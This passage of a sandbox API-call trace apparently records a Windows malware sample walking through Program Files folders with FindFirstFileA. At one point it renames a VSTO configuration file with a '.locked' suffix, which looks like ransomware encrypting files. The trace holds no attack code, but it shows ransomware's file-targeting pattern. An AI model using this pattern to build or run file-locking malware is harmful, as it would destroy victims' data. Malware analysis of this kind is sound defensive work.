(hFile=0xc8) returned 0x1 [0034.320] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb771d340, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb771d340, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.321] GetFileType (hFile=0xc8) returned 0x1 [0034.322] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb771d340, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb771d340, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.327] GetFileType (hFile=0xc8) returned 0x1 [0034.328] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb771d340, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb771d340, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.332] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb771d340, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb771d340, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.336] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xb77434a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb77434a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.340] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xb77434a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb77434a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.349] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb77434a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb77434a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.355] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.locked" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.locked"), dwFlags=0x2) returned 1 [0034.356] GetFileType (hFile=0xc8) returned 0x1 [0034.357] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7769600, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7769600, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.358] GetFileType (hFile=0xc4) returned 0x1 [0034.359] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7769600, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7769600, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.361] GetFileType (hFile=0xc8) returned 0x1 [0034.362] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7769600, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7769600, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.362] GetFileType (hFile=0xc4) returned 0x1 [0034.364] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7769600, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7769600, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.365] GetFileType (hFile=0x13c) returned 0x1 [0034.366] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7769600, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7769600, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.366] GetFileType (hFile=0xd0) returned 0x1 [0034.367] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb778f760, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb778f760, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0034.368] GetFileType (hFile=0x120) returned 0x1 [0034.368] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb778f760, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb778f760, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0034.370] GetFileType (hFile=0x120) returned 0x1 [0034.371] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb778f760, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb778f760, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0034.372] GetFileType (hFile=0xc8) returned 0x1 [0034.372] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb778f760, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb778f760, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f7, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.373] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.373] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.374] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x825990 [0034.377] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb778f760, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb778f760, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0034.380] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb778f760, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb778f760, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f7, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.381] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb778f760, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb778f760, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.383] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb77b58c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb77b58c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f7, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.386] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb77b58c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb77b58c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f7, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.390] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb77b58c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb77b58c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.392] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb77b58c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb77b58c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f7, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.396] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb77b58c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb77b58c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.400] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb77dba20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb77dba20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f7, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.403] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb77dba20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb77dba20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.406] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb77dba20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb77dba20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0034.408] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\en-US\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb77dba20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb77dba20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0034.411] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb77dba20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb77dba20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0034.415] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb7801b80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7801b80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f7, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.421] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb7801b80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7801b80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.428] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb7801b80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7801b80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.438] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb7827ce0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7827ce0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.445] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb784de40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb784de40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.455] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb784de40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb784de40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.460] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb784de40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb784de40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.467] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb7873fa0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7873fa0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.475] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb7873fa0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7873fa0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.480] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb789a100, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb789a100, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, 